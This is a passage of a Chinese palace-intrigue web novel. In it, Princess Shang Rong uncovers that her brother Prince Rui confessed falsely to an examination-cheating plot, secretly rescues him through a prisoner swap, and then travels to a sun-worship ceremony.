但范律有一点说得不错，事已至此他没必要在这个时候说谎。或许他说的的确是实情，只是因为他只接触到葛广伦，而根本没有机会接触到真正的背后之人。尚容眸色渐沉。
魏修洵若有所思，薄唇轻抿：“长青，去查查这宝昌钱庄背后的东家是何来历？”
“是！”
尚容心知已问不出其他，便道：“本宫说的话，自会做到。将人带走！”
“夜深了，我送殿下回公主府。”魏修洵侧身道。
尚容微微颔首：“好。”
第二日一早，尚容便收到了魏修洵便传来的消息。
长青查得宝昌钱庄竟是葛广伦的小舅子名下的产业，这似乎也就印证了葛广伦与这次春闱舞弊案有着千丝万缕的联系，但尚容却始终闷闷不乐，感觉胸口压着一块巨石几乎喘不过气来。
因为她总觉得背后仿佛有一双手，一直在推着他们往前。
将近傍晚时分，魏修洵又传来了另一个消息：葛广伦私下与睿王交往甚密，乃睿王门客，春闱前曾有多人目睹其出入睿王府。
尚容顿时心头一沉。
睿王……三皇兄尚弘。
尚容犹记得年少时三皇兄与自己走得很近，当时自己丧母遭众人冷眼相待，众多皇子公主中唯有三皇兄愿与自己亲近。但后来，三皇兄与自己走动得逐渐少了些，二人关系便也冷落了，一直到而今并无太多私交。
但即使如此，尚容亦不愿相信此事与三皇兄有关，或许这背后另有隐情，她必须一探究竟。
尚容写下一封信将其递到韶淳手中：“韶淳，将这封信交到肃啸手中，让他亲手交给父皇，本宫去一趟睿王府。”
“属下定不辱命。”
44. 睿王府
大约半柱香后，尚容抵达睿王府，她见王府外空无一人，就连一个侍卫都没有，心中顿时生疑。
她手持门环叩了叩门，良久门才从里面被推开。
尚容抬眸，见来者是一个十七八岁的少年，杏眼圆脸，尚容认得他，他是睿王的贴身侍卫涵风。
“殿下。”涵风欠身行礼。
“今日王府为何如此冷清？王府外就连一个侍卫都没有？”尚容望着涵风，朱唇微启。
涵风微微抿唇，下意识地低下头去，眼神躲闪，似是不知如何开口。
尚容看出涵风的难处，便不再追问，只道：“罢了，三皇兄可在府中？”
涵风颔首，但脸色看上去却不太好看：“我带殿下去。”
尚容迈入王府，却见府中的长廊空无一人，零零散散地覆满了干枯的落叶，似是有几日无人打扫。长廊的尽头亦晦暗不明，就连墙壁上挂着的油灯都不曾点上，一眼望去格外萧瑟。
在尚容的印象里，她这位三皇兄是个极爱干净的人，甚至有时到了挑剔的地步，却不会放任府中满是落叶，而眼前的一切分明与尚容记忆中的睿王府相去甚远。
越往里走，尚容心中的疑虑和不安便越来越重。她想知晓睿王府究竟发生了什么，还有……府中的下人又去了何处。
就在此时，尚容抬眸望见长廊的尽头终于有了几分微弱的光亮，尚容记得那是后花园的方向，三皇兄素喜在后花园下棋。
待走近了些，尚容隐隐望见一个人影。出乎尚容意料的是，尚弘并非在下棋，而是在舞剑。
他的脚步显然有些虚浮，身体左右不自主地摇晃，重心不稳，每次旋身之时似乎下一刻便会双腿一软摔倒在地，但他还是支撑住了身体，继续凌空而起。
尚容站在一旁，没有继续上前，只是静静地望着，余光却瞥见一旁石桌上堆放得七零八散的空酒壶。她仔细数了数，一共有十瓶，怪不得尚弘此时脚步虚浮，原来是早已烂醉如泥。
“三皇兄。”尚容忍不住开口。
奈何尚弘此时头脑已是不太清醒，依旧舞动长剑对一旁动静浑然不觉。
涵风似是看不下去了，上前扶住尚弘的手臂，提高了音量：“王爷，长公主殿下来了。”
尚弘微微怔住，吃力地抬了抬眸，声音沙哑，掺杂了几分酒气：“容儿来了？她在哪儿？”
“在王爷您身后。”
声声入耳，尚弘握着长剑的右手微微一松，手中长剑便啪嗒一声落在地上，他却似没听到一般，不管不顾地转身眯了眯眼，总算看清了一旁立着的少女的容貌。
少女着一身豆蔻紫如意云纹对襟小袄，外披一件雪白狐毛披风，或许是因为天气寒冷的缘故，少女的半个下巴都埋在披风的毛领里，鼻尖微微泛红。
“容儿……”
尚弘的眼神闪过一丝惊喜，他想要走到尚容身前，身体却因为醉意止不住地摇晃，尚容见了连忙扶住他。
“三皇兄，你怎么喝这么多？”尚容眉心微蹙，随即与涵风一起扶尚弘坐下。
尚弘醉意朦胧，嘴角忍不住上扬，低头望着早已满摆满一桌的空酒杯，又抬头望着苍穹。
“容儿……有句话说得好啊！今朝有酒今朝醉，明日愁来明日愁……皇兄我啊不忧不愁，只求一醉！”
不知为何，尚容却从他的言语之中感觉到几分无奈与苍凉。
言罢，尚弘伸手又去拿酒壶，抬手就想一饮而尽，却被尚容一手夺过。
“三皇兄，你今日喝得够多了，不能再喝了。”
尚容眉头紧蹙，忍不住开口：“皇兄你和我说，是不是遇到了什么难处？只要你亲口说，我就会相信你，会尽我所能帮你。”
“帮我？”尚弘似是略微清醒了些，抬眸与尚容对视，凤眼轻扬，情绪浓烈，却在下一刻背过身去不再看她。
良久尚弘开口，声音掷地有声，字字恍若啼血：“可是我一手策划了春闱舞弊案，买通葛广伦还有一众官员，为了一己之私罔顾国法，又栽赃于你差点置你于死地，是死罪一条！罪无可恕！你……帮不了我。”
“三皇兄你知道自己在说什么吗？我明白，你不会这么做的。你无意权势，无意皇位，最是心善。”尚容双目微红，一把抓住尚弘的肩膀，强迫他转过身来看着自己的眼睛，“是不是有人威胁你？你告诉我！”
尚弘冷冷一笑：“容儿……你想听什么？我说的句句属实。你今日来，不就是查出了葛广伦与我的关系吗？”
“他是我的门客，我做的一切自然都是我的意思。不然，他一个小小的礼部侍郎如何有这么大的胆子胆敢扰乱春闱？”
尚容见他不肯松口，又句句提罪，胸口顿时如同压了一块巨石，难以呼吸。
她步步紧逼，忍不住追问：“那王府中的人呢？既然你心这么狠，又为何下令将他们遣散，只留自己一人？”
尚弘转过身来，眸色渐沉：“容儿，你又怎知他们是被我遣散的，不是被我……都杀了？”
尚容一时语塞，长呼了一口气。
“睿王爷这话可是在玩笑了。本侯的属下方才查明，早在两日前王爷就下令遣散了府中下人，还给每个人发了一笔遣散费。”
尚容闻声转身，便见魏修洵不知何时走到自己身后，此时正双手抱胸，一脸慵懒。
魏修洵见尚容转过身来，勾了勾唇：“殿下怎么不和我说一声，孤身一人便来了？”
“一时心急，来不及通知你。”
尚容缓缓开口，却见他浅笑着从长袖中取出一个手炉塞入自己手中。
尚容定了定神，转身与尚弘对视，声音清冷：“事已至此，三皇兄还要隐瞒吗？”
尚弘早乘尚容不被将酒壶夺了过去，此时高高举起一饮而尽，酒渍从脖颈处一路染湿了衣领。
他眼神迷离，微微侧目，目光落在一旁的魏修洵，唇角漾出几分笑意：“本王从未隐瞒，事实便如方才所言，本王……认罪……伏诛！”
尚容还欲开口，却听得背后传来一阵整齐的脚
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步声，转身见肃啸带着一队禁军正往此处而来。
“陛下有令！睿王涉嫌谋划春闱舞弊案，押入刑部大牢候审！带走！”肃啸中气十足，高声喝道。
尚容心头一沉。
尚弘陡然放声大笑，随即摇摇晃晃地起身，任凭左右两个禁军按住自己的肩膀，待走过尚容身侧之时停下脚步，笑意温情，恍若神智清醒。
“容儿，皇兄走了，你好好的。”
“带走！”
声声入耳，尚容压抑在心头的情绪再也抑制不住。她目送着尚弘踉跄着离去的背影，眼眶泛红。
“魏修洵，这件事绝不是他做的，可他……”尚容长吸了一口气，双手撑着桌面，因为浓烈的情绪身体微微发颤。
剩下的话还未说出口，尚容脑海中忍不住回想起自己刚刚重生之时遇上刘贵人被人害死，在垂死知己刘贵人对自己说的一番话。
“殿下若能保全自身，便不要再查下去。”
刘贵人惨死的背后之人是淑妃，那此次让尚弘甘愿放弃生命替他顶罪的又是何人？
时隔半年的光景，尚容在此刻再一次感到了无力，她分明已经在努力阻止悲剧的发生，但好像很多时候还是事与愿违。
尚容顿时感觉如同有一只手死死锁住自己的脖颈一般，一时难以呼吸。
但即使如此，尚容仍心有不甘：为何好人总被人欺，而坏人却在背后逍遥自在？
“我会一直查下去，直到查明所有真相的那一天。”尚容抬头望着头顶的苍穹，拭去眼角的泪痕，眼神坚毅，似是下定了决心。
“我陪殿下一起。”魏修洵侧身望着尚容，薄唇轻抿，“我在狱中有些人脉，不会让睿王殿下太过煎熬。”
这一夜尚容回府后一夜未眠，她遍寻消息，想要找到这些日子以来与尚弘交往甚密之人的名单，但却发现尚弘平日都在府中鲜少外出，除了府中下人以外见过的人也很少。
尚容便派人去探访了一些已经被尚弘遣散的，曾经在睿王府做工的下人们，得到的回复皆是尚弘一切如常，并无反常举动。
次日尚容靠在床头，韶淳轻轻叩门推门而入。
“可是刑部有消息了？”尚容抬眸，眼底隐约可见血丝。
韶淳神色凝重，微微颔首：“睿王认罪，已经签字画押。”
“不过属下另外探得消息，有五六个曾在睿王府做工的下人一起出钱在九洲路北侧租了一家店铺准备着手做生意，殿下还要派人去探访吗？”
“这一次，我亲自去。”尚容下定了最后的决心，道，“韶淳，备车！”
“是！”
韶淳抵达九洲路北侧的店铺之时，见店铺内只有两个身着布衣的中年妇女在擦拭布满灰尘的桌面。其中一个较为年轻的妇女见尚容一身华服，笑道：“这位小姐，我们店铺还未曾开张，您怕是走错了吧。”
就在此时，门外有几人匆匆入内：“出……出事了！我听外面的人说，王爷犯了大事，被押入刑部大牢了！”
45. 囚中遁
“怎么会这样？是出了什么大事？”方才与尚容交谈的蓝衣妇女顿时停下来手中的活，眼神焦急。
“听外面的人说是什么……春闱舞弊，我当时还以为自己听错了！王爷那么好的一个人，怎么会做这样的事情呢？”其中一个中年男人道。
一旁瘦如竹竿的年轻男人微微一愣，面如土色，上前几步声音逐渐轻了下去：“你们说……王爷不会是猜到这件事发生怕牵连我们，才遣散我们的吧？”
“这……”中年男人顿时不说话了。
“你们说的可是睿王？”
声声入耳，几人随即转身，方才太过心急都不曾察觉旁边还立着一个身着华服，看上去身份尊贵的少女。
此时众人思绪回笼，回想到此人一直站在此处，想必是听闻了方才的对话，心中有些后怕，顿时脸色阴沉。
尚容察言观色，扬唇浅笑，开诚布公：“大家放心，本宫不会对你们不利，睿王是本宫的皇兄，本宫也不愿相信此事是他所为，若你们知道些什么，还望如实相告。”
“您是……长公主殿下？”蓝衣妇女仔细打量了一番面前少女，握着用来擦拭桌面的粗布的右手微微攥紧，忍不住道。
“是。”尚容微微颔首。
“从前王爷总是念着长公主殿下，殿下不会骗我们的。”中年男人道。
尚容神情严肃，朱唇微启：“时间有限，还请大家仔细想想皇兄前几日有没有什么异常的举动？”
“王爷前几日都没有出府，也没有见过什么人，不过……”
“不过什么？”尚容眉心微蹙。
瘦如竹竿的男人仔细回忆道：“三日前我见王爷在书房中踱步，脸色看上去不太好看，过了一会王爷让我进屋打扫，我发现香炉里好像有些几乎烧成灰的纸屑残渣。”
“那一日府中有来过什么人吗？”
“除了送王爷定制的玉棋盘的人，那日再没有人进过王府了。”
尚容心头一沉。香炉里的东西已经被烧成灰早已查无对证，若真是这送玉棋盘的人出了问题，三日的功夫恐怕早已没有了踪迹，知晓幕后之人的也只有尚弘一人，这线索也算是断了。
但尚容似是下定了决心。
“殿下，王爷是被冤枉的吗？”
尚容眉眼坚毅：“诸位，今日之后还请将这件事烂在腹中，不要与任何人提起，如今京城并非安稳之地，若你们信得过本宫，本宫会安排你们去纪阳做生意，纪阳有薛家照料，能保证你们的安全。”
众人面面相觑，良久道：“既然殿下如此说了，我们相信殿下，今日我们也从未见过殿下。”
尚容浅笑：“多谢诸位。”
待上了马车，尚容轻声道：“韶淳，有件事还要你去办。”
“殿下请说。”
尚容眉头不展，在韶淳身旁细声耳语。
“这件事风险太大，我不想让他和我一起赌，先不要告诉他了。”
韶淳忍不住勾唇：“殿下，主君早就猜到您会这么做，已经吩咐过我了。他也猜到殿下你怕牵连他，让我不要告诉他。”
尚容微愣，待回过神来嘴角轻勾，怅然一笑。
次日清晨，尚容以为先皇后祈福之名为由前往京外烟火最旺的昭元寺。午时，永嘉帝以祸乱朝纲，结党营私为名一杯毒酒在狱中赐死睿王尚弘，春闱舞弊案就此宣告真相大白。
昭元寺西侧的一处农舍里，尚容正围炉煮茶，神色如常。她手中拿着几个从昭元寺求来的香囊，但她不曾看过几眼，就将其放在一旁。
此时灰蒙蒙的天空落了雪，起初只是零星的几片，而后飘飘扬扬，竟有了不绝的势头，偏生尚容着珍珠白金镂锦裙，就连外披的狐毛披风也是雪白的，整个人隐入雪景之中，恍若谪仙，不染凡尘。
雪花落在她的脸颊上，她竟也不觉得冷，只是将下巴往下靠了靠，埋入雪白的毛领。
就在此时，农舍的门从外面被推开，尚容转身见是韶淳，而在韶淳的身后还立着一青年男人。
男人今日未着往日华服，同样是一身白衣，极为素净，就连腰间都不缀分毫配饰。
“三皇兄，快进来。”尚容浅笑勾唇。
尚弘脚步停滞，望着不远处的少女眼眶微微泛红。他一步步走到尚容身前坐下，神色复杂，良久道：“容儿你这又是何必……”
“我说过我会帮你，我决不食言。”尚容怅然一笑，仿佛一切从未发生，将一杯煮好的茶递到尚弘手中，“事已至此，你该与我说实话了吧。”
“我本想正大光明地救你，奈何线索断了无从查证，父皇又在气头上，没有证据绝不会收回旨意，我只能出此下策，还要辛苦皇兄以后隐姓埋名，这次也多亏了魏修洵，才能躲过众人之眼。”
尚弘长吸了一口气，心绪却久久不能平静。他被押入大牢的那一刻，他便已然做好了赴死的准备，却不成想尚容竟如此执着，有如此大的胆子竟敢以死囚换出自己，要知道这可是欺君之罪。
然而正如尚容所言，从今以后，世上再无睿王尚弘，他也不必再隐瞒什么了。
“是太子。”尚弘缓缓开口，“想必是你地位逐渐稳固，深得圣心，又提出女官入朝动了他的利益，这才对你出手。”
“只是他没想到你会立生死状从牢狱中脱身，发现破绽并一步步追查下去，这才找我做替罪羊。”
尚容抿了一口茶，眉心微蹙：“皇兄素来不问朝政，莫非太子是以睿王府全府上下人的性命威胁你？”
尚弘颔首，唇角流露出几分自嘲与无奈：“不错。我十日前订了一副玉棋盘，他便派人买通了那日送玉棋盘的人，给我送了一封信，告诉我若不替他背下这个罪名，他便让全府上下所有人一起陪葬。”
“真是丧心病狂！”尚容脸色涨红，情绪再也按捺不住，顺手将手中茶杯重重地放在木桌上，眼神凌厉。
“母妃早
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亡，我从小孤身一人地生活，也只有府里的人把我当作亲人，给了我许多温暖。”思及过往，尚弘眼神动容，“我又怎能因为我一人让他们都为我陪葬呢？既如此，不如我一人担责，与他们无关。”
言罢，尚弘微微侧目，眼神关切：“容儿，接下来你打算怎么做？”
尚容神色严肃，缓缓开口：“我派人去查，发现所有线索都断了，那日送玉棋盘的人的居所早已人去楼空，查无可查。如今在父皇眼中你已身死，死人是不能开口说话的，我手中又无证据，怕是一时半会无法扳倒太子，只能走一步看一步了。”
“我记得过几日便是一年一度的祭日大典，届时太子也会去，你千万小心。”
尚容浅笑颔首：“皇兄放心，我会的。”
尚弘点了点头，目光落在韶淳手中的酒坛子上，扬唇一笑，笑意洒脱：“只是今后你也没法常来此处陪皇兄，今日难得有空，借韶姑娘带的酒喝上几杯再走吧。”
“好。”尚容勾了勾唇，随即接过韶淳手中的酒坛，又从灶房中取了两个酒碗，将酒斟满。
尚弘望着面前的少女，脑海中却不由自主地回想起幼时的身影，怀念道：“还记得以前小的时候，我们两个总在一起玩，或许是因为同是天涯沦落人吧，就好像两个被抛弃的人总是格外投缘。”
尚容勾唇一笑，饮了一口酒：“难为皇兄还记得。”
“诶？你这是说的什么话？倒好像皇兄我忘恩负义一样。”声声入耳，尚弘怎么听怎么觉得这话不对，皱眉道。
尚容没憋住笑，忍不住笑出声来。
“后来你与淑妃走得近，性子也软了，我劝你也劝不动，看着又心里难受，就渐渐地不去找你了。”尚弘心中怅然，将酒碗中的酒一饮而尽。
原来竟是这样。尚容微微出神。
仔细想来，还真如尚弘所言，在自己错信淑妃，性情大变之后自己与尚弘便不常走动，逐渐生分了。
“皇兄放心，我现在可不会再像以前一样了。”
尚弘释然一笑，忍不住揶揄：“那是自然！容儿如今可有自己的主意了！”
尚弘似是陡然间想到什么，眸色渐沉，神色不复方才的玩笑：“还有一个人，你也务必小心。”
“皇兄说的……可是皇后？”尚容神色不惊，朱唇微启。
尚弘颔首，双目轻眯：“太子固然心狠，但当今的罗氏也并非善类，我猜若是没有皇后首肯，太子也不敢弄出这么大的动静。”
“罗氏是宫里的老人，从前先皇后在的时候她还只是妃位，可先皇后出事后不久她便成了皇后，想来也是个有手段的，你千万小心。”
尚容嘴角轻勾：“放心，我心中有数。”
尚弘靠在椅背上把玩着手中的酒杯，余光正好瞥见立在门外的一个黑色背影。他对上尚容的目光，忍不住勾了勾唇。
“时候不早了，有人在等你，你早些回去吧。”
46. 祭日典
尚容闻声侧身，见那门外之人的身形格外熟悉。她不知魏修洵何时来此，又在此处等了多久。
尚容耳根一时微微发烫，雪色的肌肤上似有若无地染上了几处烟霞。她对上尚弘的目光，轻声细语。
“皇兄，那我先走了，你多加小心。”
尚弘唇边笑意浓重：“去吧，你皇兄我能照顾好自己。”
尚容浅笑颔首，起身向门外走去。走了几步，尚容似是想到什么，停下转身，见四周白茫茫的一片，格外冷清，倒是尚弘独自饮酒，动作格外洒脱，笑意释然。
“殿下在看什么？”
尚容下意识地微微侧身，却与一旁的魏修洵四目相对。他似是刻意上前了几步，此时二人之间的距离已然可以忽略不计，近得能听到彼此的呼吸。
“这里很安静，皇兄又孤身一人，我只是……有些感慨罢了。”尚容定了定神，声音清冷。
魏修洵似是早已猜到尚容的心思，勾了勾唇，声音轻柔：“殿下放心，等风头过去，我会安排睿王殿下去别的地方，睿王殿下素来淡薄名利，届时游山玩水想来也很自在。”
尚容微微抬眸：“你是何时知道我会这么做的？”
“殿下独自一人去睿王府的时候……”魏修洵眉心微挑，言语挑逗，字字句句似在拨动尚容的心弦，“或许……更早。”
“更早？”尚容不明所以。
魏修洵见尚容有些不解，勾唇浅笑：“殿下早年的事我也都了解过，想知道殿下与睿王有些交情也并非是什么难事。”
“殿下是好人，但也并非心慈手软之人，能值得殿下冒天下之大不韪救的人，想必是对殿下很重要的人。”
尚容眸色渐沉：“或许……是曾经抱团取暖，惺惺相惜吧。”
“不过有一点你倒是说对了，本宫可不是什么心慈手软的人。”言罢尚容似是想到了什么，抿唇轻笑，荣曜秋菊。
魏修洵唇角轻扬，见雪势渐大，伸手去扶尚容的小臂：“外面天凉，殿下先上车吧。”
“好。”
由于此时漫天飞雪，马车的速度相比往日也要慢些，是以从此处回宫最少也要一个时辰的路程。马车内烧了暖炉，倒是温暖舒适，尚容一夜未眠此时倦意倒是上了头。
“困了？”魏修洵见她眼神朦胧，轻声道。
尚容不予置否，她微微低头目光便落在手中的几个从昭元寺求来的香囊上，便取出其中一个递到魏修洵手中。
“给我的？”魏修洵的眼眸中闪过一丝惊喜。
尚容浅笑颔首，刻意一字一句道：“不曾借他人之手。”
声声入耳，魏修洵嘴角忍不住微微上扬，望向尚容的目光夹杂着几分灼热：“困了便小憩一会，到了我叫殿下。”
言罢尚容阖上眼眸，很快便睡沉了，好像她这段时日都不曾有这一日睡得这般安心。
魏修洵侧身望着身旁的少女，握着深蓝色香囊的右手微微攥紧，眼底笑意浓重。
尚容觉得这一觉自己睡得极沉，而后便听闻耳畔传来如春风的轻声细语。
“殿下，我们到了。”
尚容掀开眼帘，见魏修洵正笑着看她。她随即起身掀开车帘的一角，入目是公主府熟悉的金丝楠木牌匾，只是此刻染了白雪，倒是别有一番风味。
尚容见魏修洵不曾有要离去的意思，猜测道：“你要顺道去钟粹宫？”
魏修洵摇了摇头，微微勾唇：“天色有些晚了，便不去打扰姐姐了，我等殿下入府之后便离开。”
尚容颔首，扶着韶淳的手臂下来了马车，却听得背后传来少女清脆的叫喊声。
“容儿姐姐！”
尚容转身，见是默云，浅浅一笑，而当余光瞥见默云身后的男人时，尚容唇角的笑意又逐渐凝固。
默云见到尚容喜出望外，一把挽住尚容的手臂，声音娇嗔：“容儿姐姐，我都好些日子没见到你了，很多人都拦着我不让我见你，你没事吧？”
“我无事。”尚容抿唇一笑，“你今日怎会出现在此？”
“王兄今日要离京，我来送送他。”默云笑着抬头。
尚容侧身与默沙对视，强忍住心绪，声音清冷：“那本宫便愿西察王离京一路平安。”
默沙闻言挑了挑眉，眼神阴沉却又流露出似有若无的笑意：“殿下客气了，孤见到殿下的第一眼便觉得殿下与孤颇有缘分，日后自会再见。”
尚容勾了勾唇，唇角笑意浅淡：“西察王既然如此说了，本宫定当奉陪到底。”
默沙嘴角微噙，露出一丝轻蔑的笑，随后转身离去。
默云在一旁看着两人，总觉得气氛有些沉重，她长舒了一口气，余光瞥见一旁停在公主府外的马车，问道：“容儿姐姐，你这是刚从哪里回来吗？”
言罢默云伸手便要去拉车帘，却是被尚容握住了手腕。
“刚刚从城外的昭元寺回来，外面天凉，不如进府坐坐？”尚容顺势挡在马车窗前，笑着挽过默云的手臂，往前走去。
“好啊，外面真是冻死我了。”
此时雪花纷纷扬扬，落在鼻尖更似被刀子刮了一般，默云本就被冻得脸颊微红，听了这话便拉着尚容往府中走去。
尚容命人准备了一桌席面，默云见了两眼放光，很快就忘了方才马车的事了。
“慢慢吃，没人和你抢。”
尚容见默云一番狼吞虎咽，嘴巴都被塞得鼓了起来，左右手里却还是拿满了食物，她忍不住笑出声来，伸手替默云擦拭唇角残留的酱渍。
默云扬唇一笑，似是想到什么眼睛一亮，放下了手中的食物：“容儿姐姐，我听说过几日要举行祭日大典，可热闹了，是真的吗？”
尚容微微敛眸，算起日子来祭日大典确实是在五日后。
与其他大典不同，祭日大典与大靖的立国之日在同一日，是以每年的这一日，皇亲国戚与众臣都会前往齐翎的九荣山祭拜先祖，祭祀日神，祈求来年风调雨顺。
而京城到九荣山算
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起来至少也有三日车程，想来明日之后便该动身了。
“确实如此，但祭日大典是国事，此前还不曾有他国王族参加的先例。”尚容见默云期待的神色便猜到了她的心意，垂眸道。
尚容本想借此机会让默云知难而退，只因如今大靖内变乱四起，境外又有人虎视眈眈，实在多事之秋，可不曾想默云听了不仅没有泄气，反而更加激动。
“容儿姐姐，这你就不用担心了！”默云笑着卖关子，“我这两日在宫中已经向皇后娘娘求过情了，陛下和娘娘都已经应允了，还给了我贴身侍卫呢！”
声声入耳，尚容眉间却不见喜色。她知此事已成定局，心中却依旧放心不下，如今看来只能走一步看一步了。
“默云你记住，如果遇到什么事，先去找你身边一个叫文叶的丫头，她是我的人，定会帮你。”尚容握住默云的手腕，眸色渐沉。
反观默云一脸没心没肺：“好！容儿姐姐我记住了！”
尚容微微颔首，抿了一口茶。
“殿下，苗姑娘来了，说是有急事要见殿下。”韶淳匆匆入内。
想来是关于金蚕蛊的事，尚容笑着侧过身：“我先出去一下，你慢慢吃。”
默云使劲点头。
尚容起身向外走去，随韶淳向偏殿走去，远远便望见偏殿内熟悉的身影。
“苗姑娘冒雪前来，可是金蚕蛊一事有了进展？”
苗月闻声转身，面露喜色，随即从衣袖中取出一个白瓷瓶递到尚容手中。
“殿下猜得不错，这些日子我日日前往太医院的藏书阁，终于根据苗疆秘录上的记载配置出了解药，中蛊的三人如今皆已恢复神智，与常人无异。这白瓷瓶里面，便是解药。”
金蚕蛊的解药配置成功无疑是这几日里尚容难得听到的好消息，她接过白瓷瓶，唇角难掩笑意：“多谢苗姑娘，这次可是帮上了大忙，解药能救很多人。”
“我从前是毒医，可毒医也是医，治病救人本就是分内之事，殿下不必言谢。”苗月抿唇浅笑。
“苗姑娘最近在太医院一切可都好？”
苗月颔首：“劳烦殿下记挂，一切都好，如今我通过女试在太医院任医士，此次祭日大典也会随行。”
“如此甚好。”
两日后，便是众人自京城启程的日子，宫门外立了不少人。尚容来得并不算早，本以为众人都已先行一步，却不成想都候在此处。
上至皇亲国戚，下至文武百官，要想每人单独乘坐一架马车便是一笔巨大的开销。由于今年大靖风雨不顺，国库略显空虚，是以永嘉帝名人缩减了马车数量，从一人一架改为二人同行。
尚音和尚华早已约定好同行，此刻已然上了马车，反观尚容立在原地倒显得有些尴尬。
尚容微微侧身，正好对上宣妃魏兰宣的目光，魏兰宣浅浅一笑，随即向尚容走来。
“不如本宫与殿下同行，不知殿下意下如何？”
尚容眉眼轻扬：“好。”
47. 黑心箭
“方才还要多谢娘娘解围。”尚容上了马车，扬唇一笑，朱唇微启。
宣妃笑着摇了摇头：“殿下不必言谢，要真提谢字，也该是本宫多谢当日殿下愿意相信本宫，替本宫洗脱嫌疑。”
声声入耳，尚容便知宣妃所言是刘贵人被害一事。
尚容正欲开口，却不成想宣妃握住自己的右手，眼底尽是柔和的笑意。
“再者，殿下怎知自己不是替本宫解了围呢？”
尚容勾唇一笑，顿时心中释然。
“其实，自本宫那日见到殿下的第一眼，便觉得殿下与这皇宫里的许多人都不一样。”宣妃悄然抬眸，望向尚容的眼神含着几分道不明的情绪。
“有何不同？”
宣妃怅然一笑：“这皇宫里的众人大多习惯了委曲求全，人性冷漠，并不是每一个人都像殿下一样敢于事事追求真相，甚至是为了一个与自己毫不相干的人。”
“若当日探查刘贵人一案的人不是殿下，说不准本宫已经被推出去做替罪羔羊了。”
尚容微微出神，随即朱唇轻勾：“尚容没有娘娘想的那么品德高尚，不过眼底容不得沙子罢了，我也曾浑浑噩噩度日，但那段过往远不如而今。可能有些事，总是有人要去做的。”
“这些话，他也曾说过，殿下果然与他口中的一样。”宣妃轻轻抚摩尚容的手背，随即从衣袖中取出一只香囊递到尚容手中。
尚容垂首，见是一只白玉镂雕莲花香囊，与魏修洵的那一只双鱼香囊极为相似，想来是出自一人之手。她微微抬手，淡雅的甘松香便钻入呼吸，使人身心舒畅，的确是她熟悉的味道。
尚容握着手中的香囊，缓缓开口：“这是……”
“修洵说殿下喜闻甘松香，本宫便又做了一只香囊赠予殿下，聊表心意。”宣妃唇角含笑。
“娘娘有心了。”
宣妃低眉浅笑：“说起来本宫先前还从未见过修洵对一个女孩子这般用心，如今总算是见到了。”
尚容一时觉得呼吸有些炽热，握着白玉镂雕莲花香囊的右手微微攥紧了些。
“时间还长，本宫便和你聊聊他小时候的事如何？”宣妃见尚容有些无措，勾唇轻笑，不再打趣。
“好。”
三日后，众人抵达九荣山。奔波多日，尚容本欲回房小憩，未曾靠下便听见门外传来一阵急促的敲门声。
尚容心中警惕，顿时起身。
“容儿姐姐……容儿姐姐你在里面吗？”
是默云的声音。
尚容随即舒了一口气，披上挂在一旁黄花梨木镂金衣架上的雪色狐毛披风，打开了房门。
“用过晚膳了吗？还不曾休息？”尚容微微勾唇。
默云笑着点头，右手挽着尚容的手臂，脸颊微微泛红：“用过了，本来是想休息的，但听说山脚下的小镇今晚有集市，便睡不着了……”
同样是女孩子，尚容顿时明白了默云的心意，只是并不点破。
“容儿姐姐，反正祭日大典也是后日，明日无事可做，不如陪我下山去玩吧？好不好？”
面对默云期待满满的眼神，尚容终究是不忍心拒绝，于是微微侧身：“韶淳，陪我下山一趟。”
“是！”韶淳也正愁无聊，此时听得一声令下便立马出现在了尚容身前。
默云喜出望外，拉着尚容就往外走，期间将尚容的手臂挽得更紧了些，声音娇嗔：“就知道容儿姐姐最好了！”
“你呀……”尚容无奈地笑着，顺手轻轻地弹了一下默云的脑门。
此时已近黄昏，夕阳映着几分雪色，似在天地间撒下了片片金箔，美得高调而又璀璨。
尚容与默云下山路过一处庭院之时，尚容缓缓停下了脚步。
“容儿姐姐，你怎么了？”默云见尚容陡然停下脚步，一时间不明所以。
尚容定了定神，缓缓开口：“默云，你有没有闻到什么味道？”
“什么味道啊……”默云闻声也停下脚步，微微皱眉，“没有啊……可能是什么食物的味道吧。”
“韶淳，那是何处？”尚容眉心微蹙。
“回殿下，是尚衣局。”韶淳道，“闻上去像是熏香的味道，又或许是局中有人在用晚膳。”
尚容深吸了一口气，只觉方才的气味淡了几分，似有若无，倒还真像是食物的味道。看来她这几日果真有些劳累，竟都出现了一些幻觉，尚容自嘲一笑，随即转身。
“无事，走吧。”
待二人抵达山脚下，已是夜幕将近，山脚下的小镇却是灯火熙攘，来往行人络绎不绝，观之虽不比京城繁华，却也别有几分情趣。
尚容见默云走到一个卖糖葫芦的小摊前便两眼发直，走不动道了，无奈地笑了笑，从钱袋中取出一粒碎银：“老板，每一样都来上一串。”
摊主闻声喜笑颜开，收下碎银吆喝着：“好嘞！”
“如今天气凉冰糖不易化，买回去明日还能吃。”尚容转身，见默云一脸感激的模样被逗笑了。
“嗯！”默云点头如小鸡啄米。
“还想玩什么？”
默云环顾四周，目光逐渐停留在一旁的人群中，素来爱凑热闹的她二话不说拉住尚容的手往人群中挤去。
待走到前排，尚容才算看清了摊子的全貌。摊子二十米开外的地方离了两个红心靶子，一大一小，众人站在摊前的红线后拉弓射箭，一支箭齐穿两个靶子红心即可带走一套制作精细的银蝶累丝点翠头面。
此时自告奉勇挑战的是一个青年男人，想来是要为自己的心上人夺彩。他拉弓上弦，动作干脆利落，箭术算得上中上，只可惜羽箭只射中了第一个靶心，并未穿过。
“实是可惜！”店家笑了笑，目光随即落在身着华衣的尚容与默云身上，“两位小娘子可要试上一试？”
默云年纪小，听了这话已然沉不住气，双手叉腰微微抬头：“试试就试试！怎么玩？”
店家眼神泛光，望着默云浅笑：“五十文五支箭，站在线外羽箭连穿两个红色靶心，这副头面就是您的了！”
“不用找了！”默云随即从衣袖中取出一小块碎银递到店家手中，左手持弓，右手去拿羽箭。
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尚容屏气凝神，却只听得嗖的一声，羽箭直接射偏，就连第一个靶心都不曾射中。
如此倒是出乎尚容的预料，按理说默云自幼在西察长大，骑马射箭自是不在话下。或许是由于过于紧张，导致发挥失常。
“别着急，慢慢来。”尚容轻声安慰。
默云长舒了一口气，唇角挤出一丝笑意：“嗯。”
默云再次拉弓上弦，这次她显然谨慎了许多，待瞄准一段时间后右手再松开弓弦，羽箭堪堪穿过第一个靶心。
尚容微微蹙眉，她先前在围场之时见过魏修洵射箭，如今看来默云射箭的技艺并无问题，再赋予强力按理说是能做到双穿靶心的，只是每次羽箭穿过靶心之时便会向后微微倾斜，导致无法完成挑战。
默云显然已经有些不耐烦了，她不再等待继续拉弓上弦结果还是一样。
